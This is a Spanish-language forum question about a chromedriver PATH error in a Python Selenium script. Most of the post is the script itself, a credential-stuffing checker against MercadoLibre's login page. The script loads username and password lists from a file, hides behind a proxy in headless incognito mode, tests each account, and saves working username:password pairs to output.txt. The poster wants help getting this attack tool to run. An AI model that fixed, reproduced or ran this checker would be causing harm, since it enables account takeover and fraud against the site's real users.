Que tal estoy tratando de correr una implementación de python3.7 con selenium y utilizo el webproxy de chrome
, pero al ingresar el nombre del archivo a leer falla y me da errores. Demostración gráfica:
Ejecuto mi código y efectivamente encuentra el webproxy de chrome
y al darle el filename, que lo tengo dentro de la misma carpeta donde se encuentra ml.py
, simplemente falla. No se si es una mala implementación del proxy de chrome
. Intente poniendo la ruta completa desde C:
, pero así ni lo ejecutaba.
Correcto: se terminó el proceso "chromedriver.exe" con PID 75336.
Filename: ivoy.txt
c:/Users/user/Desktop/ml-checker/ml.py:138: DeprecationWarning: use options instead of chrome_options
driver = webdriver.Chrome(chrome_options=chrome_options, executable_path='chromedriver.exe', service_args=service_arg)
Traceback (most recent call last):
File "C:\Users\user\AppData\Local\Programs\Python\Python37\lib\site-packages\selenium\webdriver\common\service.py", line 76, in start
stdin=PIPE)
File "C:\Users\user\AppData\Local\Programs\Python\Python37\lib\subprocess.py", line 756, in __init__
restore_signals, start_new_session)
File "C:\Users\user\AppData\Local\Programs\Python\Python37\lib\subprocess.py", line 1155, in _execute_child
startupinfo)
FileNotFoundError: [WinError 2] El sistema no puede encontrar el archivo especificado
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "c:/Users/user/Desktop/ml-checker/ml.py", line 149, in <module>
driver = initialize_driver()
File "c:/Users/user/Desktop/ml-checker/ml.py", line 138, in initialize_driver
driver = webdriver.Chrome(chrome_options=chrome_options, executable_path='chromedriver.exe', service_args=service_arg)
File "C:\Users\user\AppData\Local\Programs\Python\Python37\lib\site-packages\selenium\webdriver\chrome\webdriver.py", line 73, in __init__
self.service.start()
File "C:\Users\user\AppData\Local\Programs\Python\Python37\lib\site-packages\selenium\webdriver\common\service.py", line 83, in start
os.path.basename(self.path), self.start_error_message)
selenium.common.exceptions.WebDriverException: Message: 'chromedriver.exe' executable needs to be in PATH. Please see https://sites.google.com/a/chromium.org/chromedriver/home
Dejo el código donde utilizo el web driver de chrome
.
#<-Init selenium->
def initialize_driver():
get_proxy()
proxy = proxyy.pxy
PROXY = proxy
service_arg = [
'--proxy-server=' + PROXY,
'--proxy-type=html'
]
chrome_options = Options()
chrome_options.add_argument("--incognito")
chrome_options.add_argument("--headless")
chrome_options.add_argument("--no-sandbox")
if 'win' in sys.platform :
driver = webdriver.Chrome(chrome_options=chrome_options, executable_path='chromedriver.exe', service_args=service_arg)
else:
driver = webdriver.Chrome(chrome_options=chrome_options, executable_path='chromedriver.exe', service_args=service_arg)
return driver
if __name__=="__main__":
if 'win' in sys.platform:
os.system('taskkill /IM chromedriver.exe /F')
else:
os.system("killall 'Google Chrome'")
filename = input('Filename: ')
driver = initialize_driver()
driver.get('https://www.mercadolibre.com/jms/mla/lgz/msl/login/')
time.sleep(5)
username,login_button = find_elements_email(driver)
username_list,password_list = make_list(filename)
pass_list_length = len(username_list)
print (que + "{0} logins loaded successfully".format(pass_list_length) + end)
for i in range(0, pass_list_length):
username,login_button = find_elements_email(driver)
uName = username_list[i]
send_userid(username,login_button,uName)
try:
is_link = is_location(driver)
driver.implicitly_wait(2)
if is_link:
redirect = find_elements_link(driver)
print(info + uName + ' has an account in another location')
send_link(redirect)
url = '{0}'.format(driver.current_url)
driver.get(url)
username,login_button = find_elements_email(driver)
uName = username_list[i]
send_userid(username,login_button,uName)
driver.implicitly_wait(2)
print(good + uName + ' has an account in mercadolibre')
password,login_button2 = find_elements_pass(driver)
pWord = password_list[i]
send_password(password,login_button2,pWord)
driver.implicitly_wait(2)
valid_pass = is_password(driver,password)
if valid_pass:
output = open("output.txt", "w")
print (good + "Logged in as {0} with password {1}".format(uName,pWord))
output.writelines('{0}:{1}\n'.format(uName,pWord))
driver.get('https://www.mercadolibre.com/jms/mla/lgz/msl/login/')
continue
else:
print (bad + "Failed to login as {0} with password {1}".format(uName,pWord))
driver.get('https://www.mercadolibre.com/jms/mla/lgz/msl/login/')
print (que + "Attempt {0}/{1}".format(i+1,pass_list_length))
else:
print (bad + "{0} doesn`t have a mercadolibre account".format(uName))
driver.get('https://www.mercadolibre.com/jms/mla/lgz/msl/login/')
print (que + "Attempt {0}/{1}".format(i+1,pass_list_length))
except KeyboardInterrupt:
clear = ''
if 'win' in sys.platform:
clear = 'cls'
else:
clear = 'clear'
print ("\n" * 80)
os.system(clear)
print (logo)
print(info + " ~ Thanks to use this script! <3")
sys.exit(0)
except NoSuchElementException:
valid = is_userid(driver,username)
driver.implicitly_wait(2)
if valid:
print(good + uName + ' has an account in mercadolibre')
password,login_button2 = find_elements_pass(driver)
pWord = password_list[i]
send_password(password,login_button2,pWord)
time.sleep(2)
valid_pass = is_password(driver,password)
if valid_pass:
output = open("output.txt", "w")
print (good + "Logged in as {0} with password {1}".format(uName,pWord))
output.writelines('{0}:{1}\n'.format(uName,pWord))
continue
else:
print (bad + "Failed to login as {0} with password {1}".format(uName,pWord))
driver.get('https://www.mercadolibre.com/jms/mla/lgz/msl/login/')
print (que + "Attempt {0}/{1}".format(i+1,pass_list_length))
else:
print (bad + "{0} doesn`t have a mercadolibre account".format(uName))
driver.get('https://www.mercadolibre.com/jms/mla/lgz/msl/login/')
print (que + "Attempt {0}/{1}".format(i+1,pass_list_length))